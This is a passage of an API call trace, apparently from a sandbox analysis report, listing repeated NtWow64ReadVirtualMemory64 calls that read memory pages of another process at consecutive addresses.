Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.347] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.347] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.348] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.348] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.348] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.348] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.348] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.349] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.349] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.349] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.349] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.350] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.350] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.350] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.350] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.350] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.351] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.351] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.351] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.351] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.352] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.352] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.352] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.352] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.353] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.353] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.353] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.353] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.354] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.354] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.355] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.356] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.356] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.356] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.356] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.356] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.357] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.357] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.357] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.357] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.358] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.358] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.358] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.358] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.358] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.359] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.359] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.359] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.359] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.359] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.360] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.360] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.360] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.360] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.361] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.361] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.361] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.361] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.361] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.362] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.362] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.362] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.362] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.363] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.363] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.363] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.363] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.363] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.364] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.364] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.364] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.364] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.365] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.365] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.365] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.365] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.366] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.366] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.366] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.366] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.366] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.367] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.367] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.367] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.367] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.367] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.368] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.368] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.368] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.368] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.369] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.369] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.369] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.369] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.370] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.417] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.417] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.417] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.418] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.418] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.418] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.418] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.418] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.419] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.419] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.419] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.419] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.420] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.420] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.420] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.420] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.421] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.421] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.421] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.421] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.421] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.422] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, 